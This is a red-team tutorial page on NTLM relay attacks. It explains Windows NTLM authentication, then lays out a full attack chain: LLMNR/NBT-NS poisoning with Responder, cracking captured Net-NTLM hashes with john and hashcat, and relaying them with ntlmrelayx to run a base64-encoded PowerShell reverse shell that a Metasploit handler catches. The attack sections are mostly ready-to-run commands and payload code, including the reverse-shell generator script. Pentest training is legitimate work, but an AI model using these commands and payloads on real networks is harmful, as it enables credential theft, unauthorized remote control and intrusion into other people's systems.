🐧
Hassan Saad
  • WHO AM I ?
  • Red Teaming
    • C2 Infrastructure
    • External Reconnaissance
    • Initial Compromise
      • Executable File (EXE)
      • HTML Application (HTA)
      • Visual Basic (VBA Macros)
      • Password Spraying
      • MITM Attack
      • Email Spoofing
    • Host Reconnaissance
      • Seatbelt
      • Screenshots & Keylogging
    • Host Persistence
      • Task Scheduler
      • Startup Folder
      • Registry AutoRun
      • COM Hijacking
    • Host Privilege Escalation
      • Automated Tools
      • Unquoted Service Path
      • Weak Service Permission
      • Weak Service Binary
      • Always Install Elevated
      • UAC Bypass
    • Domain Reconnaissance
      • PowerView
      • BloodHound
      • Linux Host
      • Internal Applications
    • Lateral Movement
      • PowerShell Remoting
      • PsExec
      • WMI
      • DCOM
    • Credentials Access
      • LogonPasswords
      • Security Account Manager (SAM)
      • Domain Cached Creds
      • Kerberos Tickets
      • DPAPI
      • User Impersonation
      • Pass The Hash
      • Over Pass The Hash
      • Internal Password Spraying
      • Sniffing
      • NTLM Relay
    • Pivoting & Forwarding
      • SOCKS Proxy
      • Reverse Port Forwards
      • Local Port Forwards
      • Session Passing
      • P2P Listeners
      • NTLM Relay
    • Kerberos
      • Authentication
      • Kerberoasting
      • ASREP-Roasting
      • Unconstrained Delegation
      • Constrained Delegation
      • Linux Credential Cache
    • Group Policy
      • Enumeration
      • RSAT (GPMC)
      • Sharp GPO Abuse
    • Access Control Lists (DACL)
      • GenericAll
      • WriteDacl
      • WriteOwner
    • MS SQL Servers
      • Enumeration
      • NetNTLM Capture
      • Command Execution
      • Lateral Movement
      • Privilege Escalation
    • Domain Dominance
      • DCSync Backdoor
      • AdminSDHolder
      • Remote Registry Backdoor
      • Skeleton Key
      • Silver Ticket
      • Golden Ticket
    • Forest & Domain Trusts
      • Parent/Child
      • One Way (Inbound)
      • One Way (Outbound)
    • Evasion Techniques
      • Obfuscation
      • Process Injection
      • LAPS
      • AppLocker
      • PowerShell Constrained Mode
      • AMSI
      • Antivirus Exclusion
  • Penetration Testing
    • Information Gathering
    • Scanning
    • Exploitation
    • Post Exploitation
    • Password Attacks
    • Web Attacks
    • Exploit Development
  • Technology Essentials
    • Linux
      • Basics
      • Tasks
    • Windows
      • Basics
      • Tasks
    • Network
      • Basics
      • Tasks
    • Programming
      • Basics
      • Tasks
  • Bug Hunting
    • XSS on Nokia
    • XSS on Wuzzuf
    • Business Logic Flaw on Souq (Amazon Company)
    • Rate Limit Bypass on LinkedIn
    • Sensitive Data Exposure on Google
  • Tools
    • Recon Hunter
    • Mail Hunter
    • Mobile Hunter
    • Chimera (Threat Hunter)
  • Extras
    • SQL Injection
    • Web Basics
    • Mobile Testing
      • Mobile Testing 1
      • Mobile Testing 2
      • Mobile Testing 3
Powered by GitBook
On this page
  • Windows Authentication
  • LLMNR & NBT-NS Poisoning
  • NTLM Cracking
  • NTLM Relaying
  1. Red Teaming
  2. Credentials Access

NTLM Relay

PreviousSniffingNextPivoting & Forwarding

Last updated 2 years ago

Windows Authentication

LM

Was being used by default before windows vista, windows server 2008 (Weak hashing algorithm).

NTLM (NT Hash)

Currently used for storing passwords at windows systems (Used for pass-the-hash attack).

NTLMv1 (Net-NTLMv1)

Currently used for storing passwords at windows systems (Used for pass-the-hash attack).

NTLMv2 (Net-NTLMv2)

Same as NTLMv1, just with some modification on the encryption algorithm.

NTLM Authentication Mechanism

  1. The user enters his username and password.

  2. The client initiates a negotiation request with the server, that request includes any information about the client's capabilities as well as the Dialect or the protocols that the client supports.

  3. The server picks up the highest dialect and replies through the Negotiation response message then the authentication starts.

  4. The client then negotiates an authentication session with the server to ask for access.

  5. The server responds to the request by sending an NTLM challenge.

  6. The client then encrypts that challenge with his own pre-entered password’s hash (NTLM Hash) and sends his username, challenge, and challenge-response back to the server (Net-NTLM Hash).

  7. The server tries to encrypt the challenge as well using its own copy of the user’s hash (NTLM Hash) which is stored locally on the server in case of local authentication, or pass the information to the domain controller in case of domain authentication, comparing it to the challenge-response, if equal then the login is successful.

Note: To use NTLM authentication instead of Kerberos authentication, access IP addresses instead of Hostnames dir \\10.0.2.100\c$

LM / NTLM Hashes are used for Pass-The-Hash attacks, while Net-NTLMv1 / Net-NTLMv2 Hashes are used for NTLM Relay attacks.

Pass-The-Hash will do all the same previous authentication processes because all these processes are based on the user's hash, not the user's password.

NTLM Relay attack takes place at the Session Setup Request Authentication step.

LLMNR & NBT-NS Poisoning

  • The victim wants to go to the print server at \printserver, but mistakenly typed in \pintserver.

  • The DNS server responds to the victim saying that it doesn’t know that host.

  • The victim then asks if there is anyone on the local network that knows the location of \pintserver.

  • The attacker responds to the victim saying that it is the \pintserver.

  • The victim believes the attacker and sends its own username and NTLMv2 hash to the attacker.

  • The attacker can now crack the hash to discover the password.

Responder

git clone https://github.com/SpiderLabs/Responder
python Responder.py -I eth0 -wrf

NTLM Cracking

NTLMv1 (Net-NTLMv1) Crack

john --format=netntlm hash.txt
hashcat -m 5500 -a 3 hash.txt

NTLMv2 (Net-NTLMv2) Crack

john --format=netntlmv2 hash.txt
hashcat -m 5600 -a 3 hash.txt

NTLM Relaying

  • SMB Signing must be disabled, and this is the default setting except for the domain controllers.

  • Relay the hashes to another machine.

  • User must have admin access on this machine.

Responder with SMB & HTTP Disabled (in Responder.conf)

git clone https://github.com/SpiderLabs/Responder
python Responder.py -I eth0 -wrf

Determine the machines that have SMB signing disabled

Powershell Reverse Encoded Shell

import base64
ip = '10.10.12.133' # your reverse shell ip
port = 4444 # your reverse shell port
payload = '$client = New-Object System.Net.Sockets.TCPClient("%s",%d);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
payload = payload % (ip, port)
cmdline = "powershell -e " + base64.b64encode(payload.encode('utf16')[2:]).decode()
print cmdline

Run ntlmrelayx.py script and pass to it the encoded reverse shell.

git clone https://github.com/SecureAuthCorp/impacket
python3 ntlmrelayx.py -smb2support -tf targets.txt -of result -debug -c 'powershell -e EnCoDeDShElL'

Metasploit multi handler to receive the shell.

msfconsole
use exploit/multi/handler
set payload windows/shell/reverse_tcp
set lhost 10.0.2.15
set lport 4444
set ExitOnSession False
exploit -j

Overall Process Overview

Machine 10.0.2.7 asks for an unknown host, then the attacker machine 10.0.2.15 responds to it with its own IP address, then machine 10.0.2.7 sends its credentials to the attacker machine 10.0.2.15 on port SMB, then the attacker machine takes these credentials and relays them to another machine 10.0.2.6, then machine 10.0.2.6 executed our reverse shell and the shell get back to us at 10.0.2.15.